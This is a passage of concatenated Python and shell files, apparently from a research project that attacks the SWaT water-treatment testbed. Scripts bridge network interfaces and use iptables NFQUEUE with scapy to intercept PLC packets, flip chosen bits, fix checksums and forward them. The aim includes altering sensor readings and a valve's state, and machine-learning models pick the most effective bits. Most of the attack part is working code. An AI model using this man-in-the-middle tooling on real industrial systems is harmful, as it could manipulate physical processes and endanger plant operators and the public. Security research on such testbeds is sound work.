joblib.dump(model,model_list[i]) return model_list def EMCM_linear(model,num_bootstrap,model_list,search_times,vector): v_list=[] vector_list = [] for i in range(search_times): v=0 for k in range(num_bootstrap): model_e=joblib.load(model_list[k]) yk=model_e.predict(vector[i].reshape(1, -1)) fx=model.predict(vector[i].reshape(1, -1)) v+=np.linalg.norm((fx-yk)*vector[i]) v_list.append(v) temp_list = v_list[:] temp_list.sort(reverse=True) #top 10 vector in all modified vectors for i in range(10): vector_list.append(vector[v_list.index(temp_list[i])]) return vector_list def EMCM_GBDT(model,num_bootstrap,model_list,search_times,vector,num_estimators): v_list=[] vector_list = [] for i in range(search_times): v=0 v_tree = np.zeros(num_estimators) for j in range(num_estimators): v_tree[j] = model.estimators_[j][0].tree_.predict(vector[i].reshape(1, -1).astype(np.float32))[0] for k in range(num_bootstrap): model_e=joblib.load(model_list[k]) yk=model_e.predict(vector[i].reshape(1, -1)) fx=model.predict(vector[i].reshape(1, -1)) v+=np.linalg.norm((fx-yk)*v_tree) v_list.append(v) temp_list = v_list[:] temp_list.sort(reverse=True) #top 10 vector in all modified vectors for i in range(10): vector_list.append(vector[v_list.index(temp_list[i])]) return vector_list #How to construct vector? if __name__ == '__main__': # block_size=int(np.shape(X)[0]**(1/3))+1 # model = joblib.load('model/0718LIT101_diff30_linear.pkl') X_test = np.loadtxt('vector/0718train.txt') y_test = np.loadtxt('vector/0718LIT101_train.txt') block_size=int(np.shape(X_test)[0]**(1/3))+1 # bootstrap_linear_model(X_test,y_test,block_size,4) # bootstrap_GBDT_model(X_test,y_test,block_size,4) vector = X_test[:2400] method = 'GBDT' model = joblib.load('model/LIT101_'+method+'0.pkl') model_list = ['model/bootstrap_'+method+'_example0.pkl', 'model/bootstrap_'+method+'_example1.pkl', 'model/bootstrap_'+method+'_example2.pkl', 'model/bootstrap_'+method+'_example3.pkl'] a = time.time() vector_list = EMCM_GBDT(model,4,model_list,len(vector),vector,100) print time.time()-a print vector_list ``` start_lvl0.sh ```modprobe br_netfilter echo 1 >/proc/sys/net/ipv4/ip_forward echo 1 >/proc/sys/net/bridge/bridge-nf-call-iptables sudo ifconfig br0 down sudo brctl delbr br0 sudo brctl addbr br0 sudo brctl addif br0 enp3s0 enx000ec6b75a5b sudo ifconfig enp3s0 up sudo ifconfig enx000ec6b75a5b up sudo ifconfig br0 up #change enx000ec6a76988, enx9cebe8aea755 interface accordingly to yours. ``` scaling_all.py ```#!/usr/bin/env python2 # -*- coding: utf-8 -*- # Copyright (c) 2015 David I. Urbina, david.urbina@utdallas.edu # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. """Functions and constants to scale current 4-20 mA to measurements, and vice versa. """ __all__ = ['P1Flow', 'P1Level','P2Flow', 'P2Cond', 'P2Ph', 'P2Orp','P3Level', 'P3Flow', 'P3DPress' \ 'P4Level', 'P4Hrdss', 'P4Flow', 'P4Orp', \ 'P5FeedPh', 'P5FeedOrp', 'P5FeedCond', 'P5PremCond', 'P5FeedFlow', 'P5PermFlow',\ 'P5ConcFlow', 'P5RecFlow', 'P5HPumpPress', 'P5PermPress', 'P5ConcPress',\ 'P6BackFlow', 'current_to_signal', 'signal_to_current'] #Analog Input AI plc1 class P1Level(object): EUMAX = 1225.0 EUMIN = 0.0 RAWMAX = 31208.0 RAWMIN = 0.0 class P1Flow(object): EUMAX = 10.0 EUMIN = 0.0 RAWMAX = 31208.0 RAWMIN = -15.0 #AI plc2 class P2Flow(object): EUMAX = 4.0 EUMIN = 0.0 RAWMAX = 31208.0 RAWMIN = -5.0 class P2Cond(object): EUMAX = 1000.0 EUMIN = 0.0 RAWMAX = 31208.0 RAWMIN = 0.0 class P2Ph(object): EUMAX = 12.0 EUMIN = 2.0 RAWMAX = 31208.0 RAWMIN = 0.0 class P2Orp(object): EUMAX = 800.0 EUMIN = 0.0 RAWMAX = 31208.0 RAWMIN = 0.0 #AI plc3 class P3Level(object): EUMAX = 1250.0 EUMIN = 0.0 RAWMAX = 31208.0 RAWMIN = 0.0 class P3Flow(object): EUMAX = 4.0 EUMIN = 0.0 RAWMAX = 31208.0 RAWMIN = -10.0 class P3DPress(object): EUMAX = 100.0 EUMIN = 0.0 RAWMAX = 31208.0 RAWMIN = -18.0 #AI plc4 class P4Level(object): EUMAX = 1200.0 EUMIN = 0.0 RAWMAX = 31208.0 RAWMIN = 0.0 class P4Hrdss(object): EUMAX = 150.0 EUMIN = 0.0 RAWMAX = 31208.0 RAWMIN = 0.0 class P4Flow(object): EUMAX = 4.0 EUMIN = 0.0 RAWMAX = 31208.0 RAWMIN = -5.0 class P4Orp(object): EUMAX = 800.0 EUMIN = 0.0 RAWMAX = 31208.0 RAWMIN = 0.0 #AI plc5 class P5FeedPh(object): EUMAX = 12.0 EUMIN = 2.0 RAWMAX = 31208.0 RAWMIN = 0.0 class P5FeedOrp(object): EUMAX = 800.0 EUMIN = 0.0 RAWMAX = 31208.0 RAWMIN = 0.0 class P5FeedCond(object): EUMAX = 1000.0 EUMIN = 0.0 RAWMAX = 31208.0 RAWMIN = 0.0 class P5PremCond(object): EUMAX = 1300.0 EUMIN = 0.0 RAWMAX = 31208.0 RAWMIN = 0.0 class P5FeedFlow(object): EUMAX = 4.0 EUMIN = 0.0 RAWMAX = 31208.0 RAWMIN = 5.0 class P5PermFlow(object): EUMAX = 4.0 EUMIN = 0.0 RAWMAX = 31208.0 RAWMIN = -15.0 class P5ConcFlow(object): EUMAX = 4.0 EUMIN = 0.0 RAWMAX = 31208.0 RAWMIN = -30.0 class P5RecFlow(object): EUMAX = 2.0 EUMIN = 0.0 RAWMAX = 31208.0 RAWMIN = -10.0 class P5HPumpPress(object): EUMAX = 500.0 EUMIN = 0.0 RAWMAX = 31208.0 RAWMIN = 0.0 class P5PermPress(object): EUMAX = 500.0 EUMIN = 0.0 RAWMAX = 31208.0 RAWMIN = -5.0 class P5ConcPress(object): EUMAX = 500.0 EUMIN = 0.0 RAWMAX = 31208.0 RAWMIN = 0.0 #AI plc6 class P6BackFlow(object): EUMAX = 2.0 EUMIN = 0.0 RAWMAX = 31208.0 RAWMIN = -5.0 def current_to_signal(raw_in, scaling): """ Scales the input signal from current 4 - 20 mA to the human readable measurements. :param raw_in: current value. :param scaling: scaling constants. :return: signal value. """ if raw_in > scaling.RAWMAX: return 0.0 result = raw_in - scaling.RAWMIN result *= (scaling.EUMAX - scaling.EUMIN) / (scaling.RAWMAX - scaling.RAWMIN) result += scaling.EUMIN return result def signal_to_current(scale_in, scaling): """ Scales the input signal from human readable measurements to current 4 - 20 mA. :param scale_in: signal value. :param scaling: scaling constants. :return: current value. """ result = scale_in - scaling.EUMIN result /= (scaling.EUMAX - scaling.EUMIN) / (scaling.RAWMAX - scaling.RAWMIN) result += scaling.RAWMIN return 0 if result < 0 else result ``` tcpdump.sh ```#!/bin/sh sudo tcpdump ip -i eth1 -w ./test.pcap #change eth1 interfaces according to yours.``` modify_packet_stage2.py ```#!/usr/bin/env python # -*- coding:utf-8 -*- #!/usr/bin/env python # -*- coding:utf-8 -*- # !/usr/bin/env python # -*- coding:utf-8 -*- from scapy.all import * import time import numpy as np from Main.modify_bit import * from netfilterqueue import NetfilterQueue index_alter = 0 #stage2_index index2_50 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 138, 139, 140, 141, 142, 143, 144, 145, 147, 148, 149, 150, 151, 152, 153, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 217, 218, 219, 220, 221, 222, 223, 224, 225, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 244, 245, 246, 247, 248, 249, 286, 287, 288, 289, 301, 302, 303, 304, 305, 317, 318, 319, 320, 321, 334, 335, 336, 337, 351, 352, 353, 367, 368, 369, 385] index2_40 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 96, 97] index2_28 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 96, 97, 142, 143, 144, 145, 194, 200, 214, 215] index0_40 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 96, 97, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 205, 207, 215, 216, 217] p2_50 = np.zeros(len(index2_50), dtype=int) p2_40 = np.zeros(len(index2_40), dtype=int) p2_28 = np.zeros(len(index2_28), dtype=int) p0_40 = np.zeros(len(index0_40), dtype=int) vector = np.hstack((p2_50, p2_40, p2_28, p0_40)) vector = vector.tolist() modify_time = 0 modify_flag = 0 modify_index = 0 success_times = 0 failed_times = 0 count = 0 start_time = 0 time_interval = 30 def handle_packet(packet): global index_alter global modify_flag global modify_time global count global vector global start_time global model #192:mv_201_open index_alter = 192 pkt = IP(packet.get_payload()) if pkt.haslayer('Raw'): if index_alter in range(len(p2_50)): if pkt['IP'].src == '192.168.0.22' and len(pkt['Raw']) == 50: rawpkt = binascii.unhexlify(modify_bit(pkt, index2_50[index_alter])) pktnew = IP(rawpkt) del pktnew['IP'].chksum del pktnew['UDP'].chksum packet.set_payload(str(pktnew)) elif index_alter in range(len(p2_50), len(p2_50)+len(p2_40)): if pkt['IP'].src == '192.168.0.22' and len(pkt['Raw']) == 40: rawpkt = binascii.unhexlify(modify_bit(pkt, index2_40[index_alter - len(p2_50)])) pktnew = IP(rawpkt) del pktnew['IP'].chksum del pktnew['UDP'].chksum packet.set_payload(str(pktnew)) elif index_alter in range(len(p2_50)+len(p2_40), len(p2_50)+len(p2_40)+len(p2_28)): if pkt['IP'].src == '192.168.0.22' and len(pkt['Raw']) == 28: rawpkt = binascii.unhexlify(modify_bit(pkt, index2_28[index_alter - (len(p2_50)+len(p2_40))])) pktnew = IP(rawpkt) del pktnew['IP'].chksum del pktnew['UDP'].chksum packet.set_payload(str(pktnew)) elif index_alter in range(len(p2_50)+len(p2_40)+len(p2_28), len(p2_50)+len(p2_40)+len(p2_28)+len(p0_40)): if pkt['IP'].src == '192.168.0.20' and len(pkt['Raw']) == 40: #control mv201 states rawpkt = binascii.unhexlify(on(pkt, index0_40[index_alter - (len(p2_50)+len(p2_40)+len(p2_28))])) pktnew = IP(rawpkt) del pktnew['IP'].chksum del pktnew['UDP'].chksum packet.set_payload(str(pktnew)) packet.accept() if __name__ == '__main__': os.system('iptables -t mangle -A FORWARD -j NFQUEUE --queue-num 1') nfqueue = NetfilterQueue() nfqueue.bind(1, handle_packet,10) try: print "[*] starting NFQUEUE" start_time = time.time() print "start_time", start_time nfqueue.run() except KeyboardInterrupt: os.system('sudo iptables -t mangle -F') print "[*] stopping NFQUEUE" nfqueue.unbind() ``` bitdump.py ```#!/usr/bin/env python # -*- coding:utf-8 -*- from scapy.all import * import binascii def hex_to_bin(hex_string): hex_list = list(hex_string) bin_list = [] for i in range(len(hex_list)): if hex_list[i] == '0': bin_list.extend(['0','0','0','0']) if hex_list[i] == '1': bin_list.extend(['0','0','0','1']) if hex_list[i] == '2': bin_list.extend(['0','0','1','0']) if hex_list[i] == '3': bin_list.extend(['0','0','1','1']) if hex_list[i] == '4': bin_list.extend(['0','1','0','0']) if hex_list[i] == '5': bin_list.extend(['0','1','0','1']) if hex_list[i] == '6': bin_list.extend(['0','1','1','0']) if hex_list[i] == '7': bin_list.extend(['0','1','1','1']) if hex_list[i] == '8': bin_list.extend(['1','0','0','0']) if hex_list[i] == '9': bin_list.extend(['1','0','0','1']) if hex_list[i] == 'a': bin_list.extend(['1','0','1','0']) if hex_list[i] == 'b': bin_list.extend(['1','0','1','1']) if hex_list[i] == 'c': bin_list.extend(['1','1','0','0']) if hex_list[i] == 'd': bin_list.extend(['1','1','0','1']) if hex_list[i] == 'e': bin_list.extend(['1','1','1','0']) if hex_list[i] == 'f': bin_list.extend(['1','1','1','1']) bin_str = ''.join(bin_list) return bin_str def bitdump(x, dump=False): hex_string = binascii.hexlify(bytes(x)) bin_string = hex_to_bin(hex_string) return list(map(int,list(bin_string)))``` stage2_AL backup.py ```#!/usr/bin/env python # -*- coding:utf-8 -*- from scapy.all import * import random import time import numpy as np from bitdump import * import binascii from modify_bit import * import dissector.CIP_sequence from netfilterqueue import NetfilterQueue from AL_utils import * from sklearn.externals import joblib from sklearn.ensemble import GradientBoostingRegressor from sklearn.svm import LinearSVR from preprocess import * import os # index12_50 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 97, 138, 139, 140, 141, 142, 143, 144, # 145, 146, 147, 148, 149, 150, 151, 152, 153, 186, 187, 188, 189, 190, 191, 192, 193, 195, 196, 197, 198, # 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 221, 222, # 223, 224, 225, 239, 240, 241, 253, 254, 255, 256, 257, 269, 270, 271, 272, 273, 302, 303, 304, 305, 318, # 319, 320, 321, 334, 335, 336, 337, 350, 351, 352, 353, 367, 368, 369, 384] # index12_40 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 95, 96, 97] # index12_28 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 95, 96, 97, 142, 143, 144, 145, 190, 200, # 201] # index10_40 = [74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 95, 96, 97, 138, 139, 140, 141, 142, 143, # 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 206, 207, 209, 217] # p2_50 = np.zeros(len(index12_50), dtype=int) # p2_40 = np.zeros(len(index12_40), dtype=int) # p2_28 = np.zeros(len(index12_28), dtype=int) # p2_40 = np.zeros(len(index10_40), dtype=int) p2_50 = np.zeros(256, dtype=int) p2_40 = np.zeros(176, dtype=int) p2_28 = np.zeros(80, dtype=int) p0_40 = np.zeros(176, dtype=int) vector = np.hstack((p2_50, p2_40, p2_28, p2_40)) vector = vector.tolist() modify_time = 0 modify_flag = 0 modify_index = 0 success_times = 0 failed_times = 0 count = 0 start_time = 0 time_interval = 30 ####################### # import model ####################### sensor = 'FIT201' method = 'GBDT' algorithm = 'EMCM' stage_ip1 = '192.168.0.22' stage_ip2 = '192.168.0.20' model = joblib.load(sensor+'/origin/'+sensor+'_'+method+'_40min.pkl') ####################### # import first batch ####################### batch = np.load('0801total.npy') bits = np.load(sensor+'/origin/'+sensor+'_'+'bits_40min.npy') label = np.loadtxt(sensor+'/origin/'+sensor+'_'+ 'diff30_40min.txt') print 'load complete' ############################# # generate first model_list ############################# if algorithm == 'EMCM': block_size=int(np.shape(bits)[0]**(1/3))+1 if method == 'linear': bootstrap_linear_model(bits,label,block_size,4) if method == 'GBDT': bootstrap_GBDT_model(bits, label, block_size, 4) model_list = ['model/bootstrap_' + method + '_example0.pkl', 'model/bootstrap_' + method + '_example1.pkl', 'model/bootstrap_' + method + '_example2.pkl', 'model/bootstrap_' + method + '_example3.pkl'] vectors = bits.tolist() pv = label.tolist() list_total = [] pv_total = [] j = 0 ##################################### #define classifier(gbdt and linear) ##################################### def train_gbdt(x, y): model_gbdt = GradientBoostingRegressor( loss='ls' , learning_rate=0.1 , n_estimators=100 , subsample=0.8 , min_samples_split=2 , min_samples_leaf=1 , max_depth=50 , init=None , random_state=None , max_features=None , alpha=0.9 , verbose=0 , max_leaf_nodes=None , warm_start=False ) model_gbdt.fit(x,y) return model_gbdt def train_linear(x, y): model_linear = LinearSVR(C=1, tol=1e-5,max_iter=1000) model_linear.fit(x, y) return model_linear ##################################### #define search algorithm # (top10 vector according to their changes before and after bitflips) ##################################### def search(vector,model): vector_list = [] v_list = [] y0 = model.predict([vector[0]]) for i in vector: y = model.predict([i]) diff = abs(y-y0) v_list.append(diff) temp_list = v_list[:] temp_list.sort(reverse=True) for i in range(10): vector_list.append(vector[v_list.index(temp_list[i])]) return vector_list def save(filename, contents): fh = open(filename, 'w') fh.write(contents) fh.close() def handle_packet(packet): global index_alter global modify_flag global modify_time global count global vector global vector_list global start_time global model global j pkt = IP(packet.get_payload()) '''extract pv''' if pkt.haslayer("Raw"): if pkt["IP"].src == stage_ip1: if len(pkt[Raw]) == 32: stri = binascii.hexlify(str(pkt)) with open("string.txt", 'w') as i: i.write(stri) '''start altering packets''' if modify_flag == 1: for v in vector_list: if time.time() - modify_time <= time_interval: if pkt.haslayer('Raw'): if pkt['IP'].src == stage_ip1 and len(pkt['Raw']) == 32: rawpkt = binascii.unhexlify(reconstruct_packet(pkt,v,2,1)) pktnew = IP(rawpkt) del pktnew['IP'].chksum del pktnew['UDP'].chksum packet.set_payload(str(pktnew)) if pkt['IP'].src == stage_ip1 and len(pkt['Raw']) == 22: rawpkt = binascii.unhexlify(reconstruct_packet(pkt, v, 2, 2)) pktnew = IP(rawpkt) del pktnew['IP'].chksum del pktnew['UDP'].chksum packet.set_payload(str(pktnew)) if pkt['IP'].src == stage_ip1 and len(pkt['Raw']) == 10: rawpkt = binascii.unhexlify(reconstruct_packet(pkt, v, 2, 3)) pktnew = IP(rawpkt) del pktnew['IP'].chksum del pktnew['UDP'].chksum packet.set_payload(str(pktnew)) if pkt['IP'].src == stage_ip2 and len(pkt['Raw']) == 22: rawpkt = binascii.unhexlify(reconstruct_packet(pkt, v, 2, 4)) pktnew = IP(rawpkt) del pktnew['IP'].chksum del pktnew['UDP'].chksum packet.set_payload(str(pktnew)) else: # update model temp_pv = np.loadtxt('pv_diff.txt') for num in range(10): vectors.append(v) pv.append(temp_pv) print 'start_training', j if method == 'GBDT': model = train_gbdt(vectors, pv) if method == 'linear': model = train_linear(vectors, pv) joblib.dump(model, sensor + '/' + method + '/' + sensor + '_' + method + '_'+algorithm+'_' + str(j) + ".pkl") print 'training over', j j += 1 start_time = time.time() if algorithm == 'EMCM': if method == 'GBDT': bootstrap_GBDT_model(vector, pv, block_size, 4) if method == 'linear': bootstrap_linear_model(vector, pv, block_size, 4) modify_time = time.time() modify_flag = 0 else: '''search for the related bits''' if time.time() - start_time >= 5: vector = np.hstack((p2_50, p2_40, p2_28, p2_40)) np.savetxt('stage2old.txt',vector) vector2 = np.loadtxt('stage1new.txt') vector3 = np.loadtxt('stage3new.txt') vector4 = np.loadtxt('stage4new.txt') vector = np.hstack((vector, vector2, vector3, vector4)) vector = vector.tolist() print "vector", vector vector_temp = [] # flip according to Correlation for i in range(2752): temp = bit_flip(vector, i) if i == 583: temp = bit_flip(temp, 1279) if i == 1279: temp = bit_flip(temp, 583) # if i == 1955: # temp = bit_flip(temp, 1959) if i == 1959: temp = bit_flip(temp, 1955) if i == 2643: temp = bit_flip(temp, 2647) if i == 2647: temp = bit_flip(temp, 2643) vector_temp.append(temp) vector_temp = np.array(vector_temp) if algorithm == 'EMCM': if method == 'GBDT': vector_list = EMCM_GBDT(model, 4, model_list, len(vector_temp), vector_temp, 100) if method == 'linear': vector_list = EMCM_linear(model, 4, model_list, len(vector_temp), vector_temp) elif algorithm == 'EBCM': vector_list = search(vector_temp, model) print "vector_list:", vector_list modify_flag = 1 modify_time = time.time() elif pkt.haslayer("Raw"): if pkt["IP"].src == stage_ip1: if len(pkt[Raw]) == 32: a = bitdump(pkt[Raw]) save('p2_50.txt',binascii.hexlify(bytes(pkt[Raw]))) for j in range(len(a)): p2_50[j] = a[j] if len(pkt[Raw]) == 22: a = bitdump(pkt[Raw]) save('p2_40.txt',binascii.hexlify(bytes(pkt[Raw]))) for j in range(len(a)): p2_40[j] = a[j] if len(pkt[Raw]) == 10: a = bitdump(pkt[Raw]) save('p2_28.txt',binascii.hexlify(bytes(pkt[Raw]))) for j in range(len(a)): p2_28[j] = a[j] if pkt["IP"].src == stage_ip2: if len(pkt[Raw]) == 32: a = bitdump(pkt[Raw]) save('p0_40.txt',binascii.hexlify(bytes(pkt[Raw]))) for j in range(len(a)): p0_40[j] = a[j] packet.accept() if __name__ == '__main__': os.system('iptables -t mangle -A FORWARD -j NFQUEUE --queue-num 1') nfqueue = NetfilterQueue() nfqueue.bind(1, handle_packet) try: print "[*] starting NFQUEUE" start_time = time.time() print "start_time", start_time nfqueue.run() except KeyboardInterrupt: time.sleep(1) os.system('sudo iptables -t mangle -F') os.system('sudo sh start_lvl0.sh') print "[*] stopping NFQUEUE" nfqueue.unbind() ``` train.py ```#!/usr/bin/env python # -*- coding:utf-8 -*- import numpy as np from sklearn.ensemble import RandomForestRegressor from sklearn.svm import SVR from sklearn.ensemble import GradientBoostingRegressor import matplotlib.pyplot as plt from sklearn.externals import joblib import time from sklearn.metrics import r2_score def train_rfr(x, y): model_rfr = RandomForestRegressor(n_estimators=100) model_rfr.fit(x, y) return model_rfr def train_SVR(x, y): model_svr = SVR(kernel='linear', C=1, gamma=0.01) model_svr.fit(x, y) return model_svr def train_gbdt(x, y): model_gbdt = GradientBoostingRegressor( loss='ls' , learning_rate=0.1 , n_estimators=100 , subsample=0.8 , min_samples_split=2 , min_samples_leaf=1 , max_depth=50 , init=None , random_state=None , max_features=None , alpha=0.9 , verbose=0 , max_leaf_nodes=None , warm_start=False ) model_gbdt.fit(x,y) return model_gbdt def split_data(data, rate=0.25): return np.array(data[:int(len(data)*rate)]), np.array(data[int(len(data)*rate):]) def predict_once(x, model_once): result = model_once.predict(x) return result # X_t = np.loadtxt('vector/0429LIT101_corr_bits.txt') # y_t = np.loadtxt('vector/0429LIT101_y_diff30.txt') a = time.time() X_train = np.loadtxt('vector/0718train.txt') X_test = np.loadtxt('vector/0718test.txt') print (len(X_train)) y_train = np.loadtxt('vector/0718LIT101_train.txt') y_test = np.loadtxt('vector/0718LIT101_test.txt') print 'load time:',time.time()-a # # X = np.loadtxt('vector/0710stage1_whole.txt') # y = np.loadtxt('vector/0710LIT101_y_diff30.txt') # X_train, X_test = split_data(X) # np.savetxt('vector/0710stage1_train.txt',X_train) # y_train, y_test = split_data(y) # np.savetxt('vector/0710LIT101_diff30_train.txt',y_train) # np.savetxt('stage4test0.txt',X_test,fmt='%d') # np.savetxt('LIT401test0.txt',y_test) # np.savetxt('stage4_batch0.txt',X_train,fmt='%d') # np.savetxt('LIT401_batch0.txt',y_train) '''real value''' # y_real = np.loadtxt('vector/0703LIT301_y_diff30.txt') # y_realtrain, y_realtest = split_data(y_real) # X_test = X[8000:] # y_test = y[8000:] # for i in range(3,6): # for j in range(6): # model = train_SVR(X[1800:1800+(j+1)*600], y[1800:1800+(j+1)*600]) # plt.figure() # plt.plot(range(len(y[1800:1800+(j+1)*600])),y[1800:1800+(j+1)*600], 'b', label='real_train') # plt.legend() # plt.show() # predict_y = model.predict(X_test) # print j,r2_score(y_test,predict_y) # plt.figure() # plt.plot(range(len(y_test)), y_test, 'b', label='real_test') # plt.plot(range(len(y_test)), predict_y, 'r', label='predict_test') # plt.legend() # plt.show() model = train_SVR(X_train,y_train) joblib.dump(model, "model/0718LIT101_diff30_linear.pkl") y_predict = [] '''predict based on difference''' '''diff_train''' # y_predict.append(X_train[0][-1]+predict_once([X_train[0]],model)) # for i in range(1,len(X_train)): # X_train[i][-1] = y_predict[i-1] # y_predict.append(X_train[i][-1] + predict_once([X_train[i]], model)) '''diff_test''' # y_predict.append(X_test[0][-1]+predict_once([X_test[0]],model)) # for i in range(1,len(X_test)): # X_test[i][-1] = y_predict[i-1] # y_predict.append(X_test[i][-1] + predict_once([X_test[i]], model)) # plt.plot(range(len(y_realtest)),y_realtest,'r',label = 'real_test') # plt.plot(range(len(y_test)),y_predict,'b',label = 'predict_test') '''predict based on value''' '''value_train''' # y_predict.append(predict_once([X_train[0]],model)) # for i in range(1,len(X_train)): # X_train[i][-1] = y_predict[i-1] # y_predict.append(predict_once([X_train[i]], model)) # plt.plot(range(len(y_realtrain)),y_realtrain,'r',label = 'real_train') # plt.plot(range(len(y_train)),y_predict,'b',label = 'predict_train') '''value_test''' # y_predict.append(predict_once([X_test[0]],model)) # for i in range(1,len(X_test)): # X_test[i][-1] = y_predict[i-1] # y_predict.append(predict_once([X_test[i]], model)) # # plt.plot(range(len(y_realtest)),y_realtest,'r',label = 'real_test') # plt.plot(range(len(y_test)),y_predict,'b',label = 'predict_test') # plt.grid() # plt.legend() # # plt.savefig("figure/LIT101_value20_SVR.png") # plt.show() '''predict directly''' a = model.predict(X_test) plt.figure() plt.plot(range(len(y_test)),y_test,'b',label = 'real_test') plt.plot(range(len(y_test)),a,'r',label = 'predict_test') plt.legend() plt.show() # plt.figure() # plt.plot(range(len(y_test)),y_test,'b',label = 'real_test') # plt.legend() # plt.show() # plt.figure() # plt.plot(range(len(y_train)),y_train,'b',label = 'real_train') # plt.legend() # plt.show() # b = model.predict(X_train) # plt.figure() # plt.plot(range(len(y_train)), y_train, 'b', label='real_train') # plt.plot(range(len(y_train)), b, 'r', label='predict_train') # plt.legend() # plt.savefig("figure/LIT101_value20_rfr.png") ``` main_server.py ```import zmq import numpy as np import time def save(filename, contents): fh = open(filename, 'w') fh.write(contents) fh.close() def read(filename): fh = open(filename, 'r') contents = fh.read() fh.close() return contents '''set tcp address''' ip = "10.0.1.235" port1 = "5501" port2 = "5502" port3 = "5503" port4 = "5504" port1_states = "5505" port2_states = "5506" port3_states = "5507" port4_states = "5508" tcp_address1 = "tcp://" + ip + ":" + port1 tcp_address2 = "tcp://" + ip + ":" + port2 tcp_address3 = "tcp://" + ip + ":" + port3 tcp_address4 = "tcp://" + ip + ":" + port4 tcp_address1_states = "tcp://" + ip + ":" + port1_states tcp_address2_states = "tcp://" + ip + ":" + port2_states tcp_address3_states = "tcp://" + ip + ":" + port3_states tcp_address4_states = "tcp://" + ip + ":" + port4_states context = zmq.Context() socket1 = context.socket(zmq.PUB) socket1.bind(tcp_address1) socket2 = context.socket(zmq.PUB) socket2.bind(tcp_address2) socket3 = context.socket(zmq.PUB) socket3.bind(tcp_address3) socket4 = context.socket(zmq.PUB) socket4.bind(tcp_address4) socket1_states = context.socket(zmq.PUB) socket1_states.bind(tcp_address1_states) socket2_states = context.socket(zmq.PUB) socket2_states.bind(tcp_address2_states) socket3_states = context.socket(zmq.PUB) socket3_states.bind(tcp_address3_states) socket4_states = context.socket(zmq.PUB) socket4_states.bind(tcp_address4_states) ''' np.savetxt('newvector.txt',[1,0]) save('stage_states.txt', '0 0') ''' while True: '''send new vector and stage states to different stages''' index = np.loadtxt('newvector.txt') stage_states = read('stage_states.txt') socket1.send_string("%s" % index) socket1_states.send_string(stage_states) socket2.send_string("%s" % index) socket2_states.send_string(stage_states) socket3.send_string("%s" % index) socket3_states.send_string(stage_states) socket4.send_string("%s" % index) socket4_states.send_string(stage_states) time.sleep(1) ``` usl.py ```#!/usr/bin/env python # -*- coding:utf-8 -*- def usl(reading): return (reading - 0.0)*0.03897+5.8554 print usl(20953)``` _PLC1.py ```# -*- coding: utf-8 -*- # Copyright (c) 2015 David I. Urbina, david.urbina@utdallas.edu # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. """Scapy Dissector for Ethernet/IP Implicit I/O messages of PLC 1.""" from scapy import all as scapy_all import enip_cpf __all__ = ['SWAT_P1_PLC', 'SWAT_P1_RIO_DO', 'SWAT_P1_RIO_DI', 'SWAT_P1_RIO_AI', 'SWAT_P1_WRIO_AI'] class SWAT_P1_PLC(scapy_all.Packet): name = "SWAT_P1_PLC" fields_desc = [ scapy_all.LEShortField('counter', 0), scapy_all.LEIntField('number', 0), scapy_all.LEShortField('spare', 0), ] class SWAT_P1_RIO_DO(scapy_all.Packet): name = "SWAT_P1_RIO_DO" fields_desc = [ scapy_all.LEShortField('counter', 0), scapy_all.ByteField('number', 0), scapy_all.StrFixedLenField('reserved', 0, length=5), scapy_all.BitField('spare', 0, 4), scapy_all.BitEnumField('valve_close', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('valve_open', 0, 1, {0: 'disable', 1: 'enable'}), 